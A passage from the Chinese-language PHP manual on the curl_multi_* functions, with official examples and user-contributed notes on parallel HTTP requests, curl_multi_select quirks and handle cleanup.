           if ($mrc == CURLM_OK)
           {
               while($info = curl_multi_info_read($mh))
               {
                   var_dump($info);
               }
           }
       } while ($mrc == CURLM_CALL_MULTI_PERFORM);
   }
}

 //close the handles
curl_multi_remove_handle($mh, $ch1);
curl_multi_remove_handle($mh, $ch2);
curl_multi_close($mh);

?>
pulksh at gmail dot com 06-Mar-2014 09:28
This example not working on window 7 with php version 5.3.27.
Ren 17-Aug-2013 01:54
Solve CPU 100% usage, a more simple and right way:

<?php

do {
    curl_multi_exec($mh, $running);
    curl_multi_select($mh);
} while ($running > 0);

?>
Daniel G Zylberberg 11-Jul-2012 06:00
This function wait for the last page, can get a configuration array with curl options to made a post, or pass timeouts, etc.
Retun the same array but add "error", and "data".Error is the string destription if something fail, data is the response.

<?php
// author: Daniel G Zylberberg
// date 11 jul 2012
// $res: array with structure 0=>array("url"=>"blah"),1=>array("url"=>"some url")
// $options (optional): array with curl options (timeout, postfields, etc)
// return the same array that gets, and add "data" to the current row(html content)
// and "error", with the string description in the case that something fail.

function multiCurl($res,$options=""){

        if(count($res)<=0) return False;

        $handles = array();

        if(!$options) // add default options
            $options = array(
                CURLOPT_HEADER=>0,
                CURLOPT_RETURNTRANSFER=>1,
            );

        // add curl options to each handle
        foreach($res as $k=>$row){
            $ch{$k} = curl_init();
            $options[CURLOPT_URL] = $row['url'];
            curl_setopt_array($ch{$k}, $options);
            $handles[$k] = $ch{$k};
        }

        $mh = curl_multi_init();

        foreach($handles as $k => $handle){
            curl_multi_add_handle($mh,$handle);
            //echo "<br>adding handle {$k}";
        }

        $running_handles = null;
        //execute the handles
        do {
            $status_cme = curl_multi_exec($mh, $running_handles);
        } while ($cme == CURLM_CALL_MULTI_PERFORM);

        while ($running_handles && $status_cme == CURLM_OK) {
            if (curl_multi_select($mh) != -1) {
                do {
                    $status_cme = curl_multi_exec($mh, $running_handles);
                   // echo "<br>''threads'' running = {$running_handles}";
                } while ($status == CURLM_CALL_MULTI_PERFORM);
            }
        }

        foreach($res as $k=>$row){
            $res[$k]['error'] = curl_error($handles[$k]);
            if(!empty($res[$k]['error']))
                $res[$k]['data']  = '';
            else
                $res[$k]['data']  = curl_multi_getcontent( $handles[$k] );  // get results

            // close current handler
            curl_multi_remove_handle($mh, $handles[$k] );
        }
        curl_multi_close($mh);
        return $res; // return response
}

$res = array(
        "11"=>array("url"=>"http://localhost/public_html/test/sleep.php?t=1"),
        "13"=>array("url"=>"http://localhost/public_html/test/sleep.php?t=3"),
        "25"=>array("url"=>"this doesn't exist"),

);
print_r( multiCurl($res));
?>

---------- sleep.php -------------------------------------
<?php
sleep($_GET['t']);
echo "sleep for {$_GET['t']} seconds and show this.";
?>
emmet at trovit dot com 25-Jun-2012 04:57
Here's something that had me pulling my hair out for quite a while. I was trying to download multiple files and save each one in a file. If you want to read the file again in the same script that has downloaded the url, always make sure to close the original filehandle that you opened for the connection BEFORE trying to read from the file again, even if you open a new filehandle to do so. If you don't do this, a file_get_contents() or fread() will cut your file and only return a limited size of it, 40960 characters in my case, without any other explanation or error. The file will exist (and be complete) on your disk, PHP just wont show it.

I (perhaps mistakenly) thought this was a bug so I created a bug report, see it for examples of the code I used to recreate this misterious behavior:
https://bugs.php.net/bug.php?id=62409
Jimmy Ruska 13-Sep-2008 11:56
> replying to viczbk.ru

Just sharing my attempt at it.

> while (($res = curl_multi_select($mh)) === 0) {};
This worked on my windows computer (php 5.2.5) but when I ran the curl program in my new centOS server (php 5.1.6) the function never updates unless curl_multi_exec() is added to the loop, taking away the point of using it to save cycles. curl_multi_select() also allows you to set a timeout but it doesn't seem to help, then again, don't see why people wouldn't use it anyway.

Even when curl_multi_select($mh) does work there's no way to know which of the sockets updated in status or if they've received partial data, completely finished, or just timed out. It's not reliable if you want to remove / add data as soon as things finish. Try calling just example.com or some other website with very little data. curl_multi_select($mh) can send non 0 value a couple of thousand times before finishing. Lazily adding a usleep(25000) or some minimal amount can also help not waste cycles.
viczbk.ru 08-Feb-2008 08:04
http://curl.haxx.se/libcurl/c/libcurl-multi.html

"When you've added the handles you have for the moment (you can still add new ones at any time), you start the transfers by call curl_multi_perform(3).

curl_multi_perform(3) is asynchronous. It will only execute as little as possible and then return back control to your program. It is designed to never block. If it returns CURLM_CALL_MULTI_PERFORM you better call it again soon, as that is a signal that it still has local data to send or remote data to receive."

So it seems the loop in sample script should look this way:

<?php
$running=null;
//execute the handles
do {
    while (CURLM_CALL_MULTI_PERFORM === curl_multi_exec($mh, $running));
    if (!$running) break;
    while (($res = curl_multi_select($mh)) === 0) {};
    if ($res === false) {
        echo "<h1>select error</h1>";
        break;
    }
} while (true);
?>

This worked fine (PHP 5.2.5 @ FBSD 6.2) without running non-blocked loop and wasting CPU time.

However this seems to be the only use of curl_multi_select, coz there's no simple way to bind it with other PHP wrappers for select syscall.
robert dot reichel at boboton dot com 20-Oct-2007 05:54
I was testing PHP code provided by dtorop933@gmail.com in curl_multi_exec section of PHP Manual.

The part of the code '$err = curl_error($conn[$i])' should return error message for each cURL session, but it does not.
The function curl_error() works well with the curl_exec(). Is there any other solution for getting session error message with curl_multi_exec() or there is a bug in cURL library.

The script was tested with Windows XP and PHP-5.2.4
substr(&#34;iscampifriese&#34;,1,11) dot &#34; at beer dot com&#34; 04-Jul-2007 06:10
If you are using mulit handles and you wish to re-execute any of them (if they timed out or something), then you need to remove the handles from the mulit-handle and then re-add them in order to get them to re-execute.  Otherwise cURL will just give you back the same results again without actually retrying.


如果设置了 CURLOPT_RETURNTRANSFER，则返回 cURL 句柄的内容

  • ? curl_multi_exec
  • curl_multi_info_read ?
  • PHP Manual
  • cURL 函数
  • 如果设置了 CURLOPT_RETURNTRANSFER，则返回 cURL 句柄的内容

curl_multi_getcontent

(PHP 5, PHP 7, PHP 8)

curl_multi_getcontent — 如果设置了 CURLOPT_RETURNTRANSFER，则返回 cURL 句柄的内容

说明

curl_multi_getcontent(CurlHandle $handle): ?string

如果 CURLOPT_RETURNTRANSFER 是为指定句柄设置的选项，则此函数将会以字符串的形式返回 cURL 句柄的内容。

参数

handle

由 curl_init() 返回的 cURL 句柄。

返回值

如果设置了 CURLOPT_RETURNTRANSFER，则返回 cURL 句柄的内容，不设置的话返回 null。

更新日志

版本 | 说明
8.0.0 | handle 现在接受 CurlHandle 实例；之前接受 resource。

参见

  • curl_multi_init() - 返回新 cURL 批处理句柄

User Contributed Notes

nolife 28-Nov-2017 05:45
It's probably a bug in the curl multi implementation:

In many many cases you keep the curl connection alive after a curl_exec().
With curl_multi that's not possible if you don't do this after every get_content() :
 curl_multi_remove_handle($ch);
 curl_multi_add_handle($ch);

I've not yet tested if this also breaks the keepalive connection but if you don't do this you'll just get the old previous response after each curl_multi_exec()
michael at xendica dot com 19-Apr-2014 06:28
This seems to work as expected for me - allowing me to get the content from a curl_multi operation into variables :

(Thanks go to many other notes in related documentation (there is much copy/pasting) all I did was add the relevant line(s))

<?
    $aURLs = array("http://www.php.net","http://www.w3cschools.com"); // array of URLs
    $mh = curl_multi_init(); // init the curl Multi

    $aCurlHandles = array(); // create an array for the individual curl handles

    foreach ($aURLs as $id=>$url) { //add the handles for each url
        $ch = curl_setup($url,$socks5_proxy,$usernamepass);
        $ch = curl_init(); // init curl, and then setup your options
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER,1); // returns the result - very important
        curl_setopt($ch, CURLOPT_HEADER, 0); // no headers in the output

        $aCurlHandles[$url] = $ch;
        curl_multi_add_handle($mh,$ch);
    }

    $active = null;
    //execute the handles
    do {
        $mrc = curl_multi_exec($mh, $active);
    }
    while ($mrc == CURLM_CALL_MULTI_PERFORM);

    while ($active && $mrc == CURLM_OK) {
        if (curl_multi_select($mh) != -1) {
            do {
                $mrc = curl_multi_exec($mh, $active);
            } while ($mrc == CURLM_CALL_MULTI_PERFORM);
        }
    }

/* This is the relevant bit */
        // iterate through the handles and get your content
    foreach ($aCurlHandles as $url=>$ch) {
        $html = curl_multi_getcontent($ch); // get the content
                // do what you want with the HTML
        curl_multi_remove_handle($mh, $ch); // remove the handle (assuming  you are done with it);
    }
/* End of the relevant bit */

    curl_multi_close($mh); // close the curl multi handler

?>
butesa at freenet dot de 10-Sep-2013 08:51
You can use curl_multi_getcontent() on a curl handle that was executed with curl_exec() (and not added to a multi handle).
However, this is not very useful because curl_multi_getcontent() will return the same as curl_exec() then.

<?php
 $ch = curl_init('http://www.example.com/');
 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
 $a = curl_exec($ch);
 $b = curl_multi_getcontent($ch);
 var_dump($a === $b);
 curl_close($ch);
?>
will return:

bool(true)


获取当前传输的有关信息

  • ? curl_multi_getcontent
  • curl_multi_init ?
  • PHP Manual
  • cURL 函数
  • 获取当前传输的有关信息

curl_multi_info_read

(PHP 5, PHP 7, PHP 8)

curl_multi_info_read — 获取当前传输的有关信息

说明

curl_multi_info_read(CurlMultiHandle $multi_handle, int &$queued_messages = null): array|false

查询多句柄是否有来自个别传输的消息或信息，消息可能包含诸如来自传输的错误代码或者仅是传输已完成之类的信息。

重复调用此函数，每次都会返回新结果，返回 false 作为此时没有更多信息可以获取的信号。通过 queued_messages 返回的整数包含当前函数调用后剩余的消息数量。

Warning

返回的资源指向的数据将无法在调用 curl_multi_remove_handle() 后继续存在。

参数

multi_handle

由 curl_multi_init() 返回的 cURL 多个句柄。

queued_messages

仍在队列中的消息数量。

返回值

成功时返回信息的关联数组，失败时返回 false。

返回数组的内容
Key: | Value:
msg | CURLMSG_DONE 常量。其他返回值当前不可用。
result | CURLE_* 常量之一。如果一切都好，将会返回 CURLE_OK。
handle | cURL 资源类型表明它有关的句柄。

更新日志

版本 | 说明
8.0.0 | multi_handle expects a CurlMultiHandle instance now; previously, a resource was expected.

示例

Example #1 curl_multi_info_read() 示例

<?php

$urls = array(
"http://www.cnn.com/",
"http://www.bbc.co.uk/",
"http://www.yahoo.com/"
);

$mh = curl_multi_init();

foreach ($urls as $i => $url) {
$conn[$i] = curl_init($url);
curl_setopt($conn[$i], CURLOPT_RETURNTRANSFER, 1);
curl_multi_add_handle($mh, $conn[$i]);
}

do {
$status = curl_multi_exec($mh, $active);
if ($active) {
curl_multi_select($mh);
}
while (false !== ($info = curl_multi_info_read($mh))) {
var_dump($info);
}
} while ($active && $status == CURLM_OK);

foreach ($urls as $i => $url) {
$res[$i] = curl_multi_getcontent($conn[$i]);
curl_close($conn[$i]);
}

var_dump(curl_multi_info_read($mh));

?>

以上示例的输出类似于：

array(3) {
  ["msg"]=>
  int(1)
  ["result"]=>
  int(0)
  ["handle"]=>
  resource(5) of type (curl)
}
array(3) {
  ["msg"]=>
  int(1)
  ["result"]=>
  int(0)
  ["handle"]=>
  resource(7) of type (curl)
}
array(3) {
  ["msg"]=>
  int(1)
  ["result"]=>
  int(0)
  ["handle"]=>
  resource(6) of type (curl)
}
bool(false)

参见

  • curl_multi_init() - 返回新 cURL 批处理句柄

User Contributed Notes

Nick Smith 28-May-2010 01:41
Just to let others who might be struggling to get it to work, curl_multi_info_read() doesn't work in PHP versions before 5.2.0, and instead returns NULL immediately.


返回新 cURL 批处理句柄

  • ? curl_multi_info_read
  • curl_multi_remove_handle ?
  • PHP Manual
  • cURL 函数
  • 返回新 cURL 批处理句柄

curl_multi_init

(PHP 5, PHP 7, PHP 8)

curl_multi_init — 返回新 cURL 批处理句柄

说明

curl_multi_init(): CurlMultiHandle

允许异步处理多个 cURL 句柄。

参数

此函数没有参数。

返回值

返回 cURL 批处理句柄。

更新日志

版本 | 说明
8.0.0 | 成功时，此函数返回 CurlMultiHandle 实例；之前返回 resource。

示例

Example #1 curl_multi_init() 示例

这个示例将会创建两个 cURL 句柄，把它们加到批处理句柄，然后异步运行它们。

<?php
// 创建一对 cURL 资源
$ch1 = curl_init();
$ch2 = curl_init();

// 设置 URL 和相应的选项
curl_setopt($ch1, CURLOPT_URL, "http://lxr.php.net/");
curl_setopt($ch1, CURLOPT_HEADER, 0);
curl_setopt($ch2, CURLOPT_URL, "http://www.php.net/");
curl_setopt($ch2, CURLOPT_HEADER, 0);

// 创建批处理 cURL 句柄
$mh = curl_multi_init();

// 增加两个句柄
curl_multi_add_handle($mh,$ch1);
curl_multi_add_handle($mh,$ch2);

// 执行批处理句柄
do {
$status = curl_multi_exec($mh, $active);
if ($active) {
curl_multi_select($mh);
}
} while ($active && $status == CURLM_OK);

// 关闭全部句柄
curl_multi_remove_handle($mh, $ch1);
curl_multi_remove_handle($mh, $ch2);
curl_multi_close($mh);

?>

参见

  • curl_init() - 初始化 cURL 会话
  • curl_multi_close() - 关闭一组 cURL 句柄

User Contributed Notes

Adam Richardson 20-Dec-2017 05:41
One of the URLs used in the first example on this page (lxr.php.net) now gives a proxy error.

If you're using this first script example, replace with a different URL.
w_haigh at yahoo dot com 13-Oct-2015 03:46
Here's an easier to follow example, From : http://arguments.callee.info/2010/02/21/multiple-curl-requests-with-php/

// build the individual requests, but do not execute them
$ch_1 = curl_init('http://webservice.one.com/');
$ch_2 = curl_init('http://webservice.two.com/');
curl_setopt($ch_1, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch_2, CURLOPT_RETURNTRANSFER, true);

// build the multi-curl handle, adding both $ch
$mh = curl_multi_init();
curl_multi_add_handle($mh, $ch_1);
curl_multi_add_handle($mh, $ch_2);

// execute all queries simultaneously, and continue when all are complete
  $running = null;
  do {
    curl_multi_exec($mh, $running);
  } while ($running);

//close the handles
curl_multi_remove_handle($mh, $ch1);
curl_multi_remove_handle($mh, $ch2);
curl_multi_close($mh);

// all of our requests are done, we can now access the results
$response_1 = curl_multi_getcontent($ch_1);
$response_2 = curl_multi_getcontent($ch_2);
echo "$response_1 $response_2"; // output results
xxavalanchexx at gmail dot com 20-May-2014 12:17
According to https://bugs.php.net/bug.php?id=61141:

On Windows setups using libcurl version 7.24 or later (which seems to correspond to PHP 5.3.10 or later), you may find that curl_multi_select() always returns -1, causing the example code in the documentation to timeout. This is, apparently, not strictly a bug: according to the libcurl documentation, you should add your own sleep if curl_multi_select returns -1.

Therefore, in order to work correctly on Windows for PHP 5.3.10+, the second loop in the example code should look something like the following:

<?php
while ($active && $mrc == CURLM_OK) {
    if (curl_multi_select($mh) == -1) {
        usleep(100);
    }
    do {
        $mrc = curl_multi_exec($mh, $active);
    } while ($mrc == CURLM_CALL_MULTI_PERFORM);
}
?>
hushuilong at gmail dot com 05-Aug-2011 12:21
Simulate multiple threads request:
<?php
function multiple_threads_request($nodes){
        $mh = curl_multi_init();
        $curl_array = array();
        foreach($nodes as $i => $url)
        {
            $curl_array[$i] = curl_init($url);
            curl_setopt($curl_array[$i], CURLOPT_RETURNTRANSFER, true);
            curl_multi_add_handle($mh, $curl_array[$i]);
        }
        $running = NULL;
        do {
            usleep(10000);
            curl_multi_exec($mh,$running);
        } while($running > 0);

        $res = array();
        foreach($nodes as $i => $url)
        {
            $res[$url] = curl_multi_getcontent($curl_array[$i]);
        }

        foreach($nodes as $i => $url){
            curl_multi_remove_handle($mh, $curl_array[$i]);
        }
        curl_multi_close($mh);
        return $res;
}
print_r(muti_thread_request(array(
    'http://www.example.com',
    'http://www.example.net',
)));
?>


从一组 cURL 句柄中移除一个多句柄

  • ? curl_multi_init
  • curl_multi_select ?
  • PHP Manual
  • cURL 函数
  • 从一组 cURL 句柄中移除一个多句柄

curl_multi_remove_handle

(PHP 5, PHP 7, PHP 8)

curl_multi_remove_handle — 从一组 cURL 句柄中移除一个多句柄

说明

curl_multi_remove_handle(CurlMultiHandle $multi_handle, CurlHandle $handle): int

从指定的 multi_handle 中移除指定的 handle 句柄。当移除 handle 后，在此句柄上运行 curl_exec() 也是完全允许的。移除正在使用的 handle 句柄，涉及该句柄的正在进行的传输将有效停止。

参数

multi_handle

由 curl_multi_init() 返回的 cURL 多个句柄。

handle

由 curl_init() 返回的 cURL 句柄。

返回值

成功时返回 0，失败时返回 CURLM_XXX 错误代码中的一个。

更新日志

版本 | 说明
8.0.0 | multi_handle expects a CurlMultiHandle instance now; previously, a resource was expected.
8.0.0 | handle 现在接受 CurlHandle 实例；之前接受 resource。

参见

  • curl_init() - 初始化 cURL 会话
  • curl_multi_init() - 返回新 cURL 批处理句柄
  • curl_multi_add_handle() - 添加普通 cURL 句柄到 cURL 多句柄

User Contributed Notes

mercury at caucasus dot net 23-Jun-2010 02:00
It is always a good idea to use curl_close() on all individual curl handles after executing curl_multi_remove_handle(). This will free up additional memory resources. So, a typical code would look like:

<?php
$ch1 = curl_init();
curl_setopt($ch1, CURLOPT_URL, 'http://www.example.com/');
curl_setopt($ch1, CURLOPT_RETURNTRANSFER, true);

$ch2 = curl_init();
curl_setopt($ch2, CURLOPT_URL, 'http://www.example.net/');
curl_setopt($ch2, CURLOPT_RETURNTRANSFER, true);

$mh = curl_multi_init();

curl_multi_add_handle($mh, $ch1);
curl_multi_add_handle($mh, $ch2);

$active = null;

do {
curl_multi_exec($mh, $active);
}
while($active);

$res1 = curl_multi_getcontent($ch1);
$res2 = curl_multi_getcontent($ch2);

curl_multi_remove_handle($mh, $ch1);
curl_multi_remove_handle($mh, $ch2);

curl_multi_close($mh);

curl_close($ch1);
curl_close($ch2);
?>


在任意 curl_multi 连接上等待活动

  • ? curl_multi_remove_handle
  • curl_multi_setopt ?
  • PHP Manual
  • cURL 函数
  • 在任意 curl_multi 连接上等待活动

curl_multi_select

(PHP 5, PHP 7, PHP 8)

curl_multi_select — 在任意 curl_multi 连接上等待活动

说明

curl_multi_select(resource $mh, float $timeout = 1.0): int

阻塞到任意 curl_multi连接上有活动。

参数

multi_handle

由 curl_multi_init() 返回的 cURL 多个句柄。

timeout

以秒为单位，等待响应的时间。

返回值

成功时返回描述符集合中描述符的数量。如果没有任何活动的描述符，则为 0。失败时，此函数将在 select 失败时返回 -1（来自底层 select 系统调用）。

更新日志

版本 | 说明
8.0.0 | multi_handle expects a CurlMultiHandle instance now; previously, a resource was expected.

参见

  • curl_multi_init() - 返回新 cURL 批处理句柄

User Contributed Notes

gib-o-master 14-Nov-2021 10:48
NOTE: current implementation of `curl_multi_select` doesn't block and doesn't respect timeout parameter (maybe will be fixed later, in this case just remove the usleep call)

here, i would like to post my working/tested example of proper usage of this function:

```
$running  = 1;
while ($running)
{
  # execute request
  if ($a = curl_multi_exec($this->murl, $running)) {
    throw BotError::text("curl_multi_exec[$a]: ".curl_multi_strerror($a));
  }
  # check finished
  if (!$running) {
    break;
  }
  # wait for activity
  while (!$a)
  {
    if (($a = curl_multi_select($this->murl, $timeout)) < 0)
    {
      throw BotError::text(
        ($a = curl_multi_errno($this->murl))
          ? "curl_multi_select[$a]: ".curl_multi_strerror($a)
          : 'system select failed'
      );
    }
    usleep($timeout * 1000000);# should be <=1
  }
}
```
bishop at php dot net 22-May-2019 01:50
Before PHP 7.1.23 and 7.2.11, curl_multi_select() would return -1 if cURL had no open file descriptors. Since then, assuming libcurl 7.28 or higher, curl_multi_select() will return 0 if cURL has no open file descriptors and -1 on error.

See https://bugs.php.net/bug.php?id=76480

This is a BC break. See https://bugs.php.net/bug.php?id=77030
nevil85 at gmail dot com 15-Jul-2014 04:06
Even after so many distro releases, in PHP v5.5.9 and libcurl v7.35.0, curl_multi_select still returns -1. The only work around here is to wait and proceed like nothing ever happened. You have to determine the "wait" required here.

In my application a very small interval like usleep(1) worked. For example:

<?php
        // While we're still active, execute curl
        $active = null;
        do {
            $mrc = curl_multi_exec($multi, $active);
        } while ($mrc == CURLM_CALL_MULTI_PERFORM);

        while ($active && $mrc == CURLM_OK) {
            // Wait for activity on any curl-connection
            if (curl_multi_select($multi) == -1) {
                usleep(1);
            }

            // Continue to exec until curl is ready to
            // give us more data
            do {
                $mrc = curl_multi_exec($multi, $active);
            } while ($mrc == CURLM_CALL_MULTI_PERFORM);
        }
?>

Internally php curl_multi_select uses libcurl curl_multi_fdset function and its libcurl documentation says :
http://curl.haxx.se/libcurl/c/curl_multi_fdset.html

"When libcurl returns -1 in max_fd, it is because libcurl currently does something that isn't possible for your application to monitor with a socket and unfortunately you can then not know exactly when the current action is completed using select(). When max_fd returns with -1, you need to wait a while and then proceed and call curl_multi_perform anyway. How long to wait? I would suggest 100 milliseconds at least, but you may want to test it out in your own particular conditions to find a suitable value.

When doing select(), you should use curl_multi_timeout to figure out how long to wait for action."

Untill PHP implements curl_multi_timeout() we have to play with our application and determine the "wait".
xxavalanchexx at gmail dot com 20-May-2014 12:13
According to https://bugs.php.net/bug.php?id=61141:

On Windows setups using libcurl version 7.24 or later (which seems to correspond to PHP 5.3.10 or later), you may find that this always returns -1. This is, apparently, not strictly a bug: according to the libcurl documentation, you should add your own sleep if curl_multi_select returns -1.

For example:
<?php
/* setup $mh */

$active = null;
do {
    $mrc = curl_multi_exec($mh, $active);
} while ($mrc == CURLM_CALL_MULTI_PERFORM);

while ($active && $mrc == CURLM_OK) {
    if (curl_multi_select($mh) == -1) {
        usleep(100);
    }
    do {
        $mrc = curl_multi_exec($mh, $active);
    } while ($mrc == CURLM_CALL_MULTI_PERFORM);
}

/* close $mh */
?>
Anonymous 30-Sep-2013 08:55
In 5.3.9+, curl_multi_select always returns -1. If this is your case, just wait a bit and then proceed like nothing ever happened:
<?php
do {
    $mrc = curl_multi_exec($multi, $active);
} while ($mrc == CURLM_CALL_MULTI_PERFORM);

while ($active && $mrc == CURLM_OK) {
    //check for results and execute until everything is done

    if (curl_multi_select($multi) == -1) {
        //if it returns -1, wait a bit, but go forward anyways!
        usleep(100);
    }

    //do something with the return values
    while(($info = curl_multi_info_read($multi)) !== false){
        if ($info["result"] == CURLE_OK){
            $content = curl_multi_getcontent($info["handle"]);
            do_something($content);
        }
    }
    do {
        $mrc = curl_multi_exec($multi, $active);
    } while ($mrc == CURLM_CALL_MULTI_PERFORM);
}
?>
Alex Palmer 17-Dec-2012 04:08
On php 5.3.18+ be aware that curl_multi_select() may return -1 forever until you call curl_multi_exec().
See https://bugs.php.net/bug.php?id=63411 for more information.
vigo dot von dot harrach at gmx dot de 06-Jun-2012 10:53
curl_multi_select($mh, $timeout) simply blocks for $timeout seconds while curl_multi_exec() returns CURLM_CALL_MULTI_PERFORM. Otherwise, it works as intended, and blocks until at least one connection has completed or $timeout seconds, whatever happens first.

For that reason, curl_multi_exec() should always be wrapped:

<?php
  function full_curl_multi_exec($mh, &$still_running) {
    do {
      $rv = curl_multi_exec($mh, $still_running);
    } while ($rv == CURLM_CALL_MULTI_PERFORM);
    return $rv;
  }
?>

With that, the core of "multi" processing becomes (ignoring error handling for brevity):

<?php
  full_curl_multi_exec($mh, $still_running); // start requests
  do { // "wait for completion"-loop
    curl_multi_select($mh); // non-busy (!) wait for state change
    full_curl_multi_exec($mh, $still_running); // get new state
    while ($info = curl_multi_info_read($mh)) {
      // process completed request (e.g. curl_multi_getcontent($info['handle']))
    }
  } while ($still_running);
?>

Note that after starting requests, retrieval is done in the background - one of the better shots at parallel processing in PHP.
Anonymous 24-Jul-2010 08:33
Since the docs are still lacking, here's an example of how to use the function. The following code will keep checking all active threads until one of them returns the HTTP 200 Ok status code, or simply end. On success, it will return the URL that worked.

<?php
$running=null;
do {
    curl_multi_exec($mh,$running);
    $ready=curl_multi_select($mh); // this will pause the loop
    if($ready>0){
        while($info=curl_multi_info_read($mh)){
            $status=curl_getinfo($info['handle'],CURLINFO_HTTP_CODE);
            if($status==200){
                $successUrl=curl_getinfo($info['handle'],CURLINFO_EFFECTIVE_URL);
                break 2;
            }
        }
    }
} while ($running>0 && $ready!=-1);
?>

The question for the $ready variable is, if it will return the value before or after the timeout has occurred. From my tests it appears that it will return the value immediately, and only then pause the execution. That's because it's always zero the first time through the loop, even if the time limit is as high as 10sec. I've expected it to wait and only then return the value so that came unexpected to me.

As stated by someone else, it also doesn't seem to return the overall count of threads in the handle, but only that of the currently active ones.
public at grik dot net 10-Aug-2008 06:38
This function blocks the calling process until there is activity on any of the connections opened by the curl_multi interface, or until the timeout period has expired.
In other words, it waits for data to be received in the opened connections.

Internally it fetches socket pointers with "curl_multi_fdset()" and runs the "select()" C function.
It returns in 3 cases:
1. Activity is detected on any socket;
2. Timeout has ended (second parameter);
3. Process received any signal (#man kill).

The function returns an integer:
* In case of activity it returns a number, usually 1.
I suppose, it returns the number of connections with activity detected.
* If timeout expires it returns 0
* In case of error it returns -1

Thanks for attention, hope this helps.


设置 cURL 并行选项

  • ? curl_multi_select
  • curl_multi_strerror ?
  • PHP Manual
  • cURL 函数
  • 设置 cURL 并行选项

curl_multi_setopt

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

curl_multi_setopt — 设置 cURL 并行选项

说明

curl_multi_setopt(CurlMultiHandle $multi_handle, int $option, mixed $value): bool

为给定的 cURL 并行句柄设置选项。

参数

multi_handle

由 curl_multi_init() 返回的 cURL 多个句柄。

option

常量 CURLMOPT_* 之一。

value

将要设置给 option 的值。

在 option 参数为下列值时 value 需要为 int 类型：

选项 | 设置 value 为
CURLMOPT_PIPELINING | 传递 1 启用或传递 0 禁用。在多句柄上启用管道将使其尝试对使用此句柄的传输尽可能执行 HTTP 管道操作。这意味着如果添加的第二个请求可以使用已有连接，则第二个请求将在同一连接上使用"管道"。 从 cURL 7.43.0 开始，该值是位掩码，如果可能，您还可以传递 2 以尝试在已有的 HTTP/2 连接上复用多路新传输。传递 3 指示 cURL 请求彼此独立的管道和多路复用。 从 cURL 7.62.0 开始，设置管道位没有效果。除了整数文字，还可以使用 CURLPIPE_* 常量（如果可用）。
CURLMOPT_MAXCONNECTS | 传递数字，该数字将用作 libcurl 可以缓存的同时打开的最大连接数。默认情况下，数量将放大为适应 curl_multi_add_handle() 添加的句柄数量的四倍。当缓存已满时，curl 会关闭缓存中最早的一个，以防止打开的连接数增加。
CURLMOPT_CHUNK_LENGTH_PENALTY_SIZE | 传递数字，以字节为单位指定管道的块（chunk）长度阈值。
CURLMOPT_CONTENT_LENGTH_PENALTY_SIZE | Pass a number that specifies the size threshold for pipelining penalty in bytes.
CURLMOPT_MAX_CONCURRENT_STREAMS | The set number will be used as the maximum number of concurrent streams for a connections that cURL should support on connections done using HTTP/2. Valid values range from 1 to 2147483647 (2^31 - 1). The value passed here would be honored based on other system resources properties. Default is 100.
CURLMOPT_MAX_HOST_CONNECTIONS | 传递一个数字，指定连接单个主机的最大数量。
CURLMOPT_MAX_PIPELINE_LENGTH | 传递数字，指定管道中的最大请求数。
CURLMOPT_MAX_TOTAL_CONNECTIONS | 传递数字，指定同时打开连接的最大数量。
CURLMOPT_PUSHFUNCTION 传递 callable 以注册处理服务器推送且应具有以下签名：
pushfunction(resource $parent_ch, resource $pushed_ch, array $headers): int
parent_ch

父级 cURL 句柄（客户端发出的请求）。

pushed_ch

推送请求的新 cURL 句柄。

headers

The push promise headers.

推送函数如果可以处理推送应该返回 CURL_PUSH_OK，或者返回 CURL_PUSH_DENY 拒绝。

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.2.0 | 引入 CURLMOPT_MAX_CONCURRENT_STREAMS。
8.0.0 | multi_handle expects a CurlMultiHandle instance now; previously, a resource was expected.
7.1.0 | 引入 CURLMOPT_PUSHFUNCTION。
7.0.7 | 引入 CURLMOPT_CHUNK_LENGTH_PENALTY_SIZE、CURLMOPT_CONTENT_LENGTH_PENALTY_SIZE、CURLMOPT_MAX_HOST_CONNECTIONS、CURLMOPT_MAX_PIPELINE_LENGTH 和 CURLMOPT_MAX_TOTAL_CONNECTIONS。

User Contributed Notes

ryosuke_i_628 at yahoo dot co dot jp 01-Mar-2016 10:30
If you want to enable both HTTP/1.1 pipelining and HTTP/2 multiplexing...

<?php
curl_multi_setopt($mh, CURLMOPT_PIPELINING, 3);
?>

or

<?php
curl_multi_setopt($mh, CURLMOPT_PIPELINING, CURLPIPE_HTTP1 | CURLPIPE_MULTIPLEX);
?>


返回字符串描述的错误代码

  • ? curl_multi_setopt
  • curl_pause ?
  • PHP Manual
  • cURL 函数
  • 返回字符串描述的错误代码

curl_multi_strerror

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

curl_multi_strerror — 返回字符串描述的错误代码

说明

curl_multi_strerror(int $error_code): ?string

返回一个用以描述所给 CURLM 错误代码所对应的错误信息。

参数

error_code

» CURLM 错误代码中的常量之一。

返回值

返回可用错误代码所对应的错误信息，否则返回 null 。

示例

Example #1 curl_multi_strerror() 函数的范例：

<?php
// 创建 cURL 句柄
$ch1 = curl_init("http://example.com/");
$ch2 = curl_init("http://php.net/");

// 创建 cURL 多句柄
$mh = curl_multi_init();

// 添加句柄到多句柄
curl_multi_add_handle($mh, $ch1);
curl_multi_add_handle($mh, $ch2);

// 执行多句柄
do {
$status = curl_multi_exec($mh, $active);
if ($active) {
curl_multi_select($mh);
}
} while ($active && $status === CURLM_OK);

// 检测错误
if ($status != CURLM_OK) {
// Display error message
echo "ERROR!\n " . curl_multi_strerror($status);
}

?>

参见

  • curl_strerror() - 返回错误代码的字符串描述
  • » cURL error codes

User Contributed Notes

There are no user contributed notes for this page.


暂停和取消暂停连接

  • ? curl_multi_strerror
  • curl_reset ?
  • PHP Manual
  • cURL 函数
  • 暂停和取消暂停连接

curl_pause

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

curl_pause — 暂停和取消暂停连接

说明

curl_pause(CurlHandle $handle, int $flags): int

暂停或取消暂停 cURL 会话。 一个会话可以在传输过程中、在读、写或两个方向的传输过程中暂停，通过从使用 curl_setopt() 注册的回调函数中调用此函数来实现。

参数

handle

由 curl_init() 返回的 cURL 句柄。

flags

CURLPAUSE_* 常量之一。

返回值

返回一个错误代码 (如果没有错误则返回 CURLE_OK 常量)。

更新日志

版本 | 说明
8.0.0 | handle 现在接受 CurlHandle 实例；之前接受 resource。

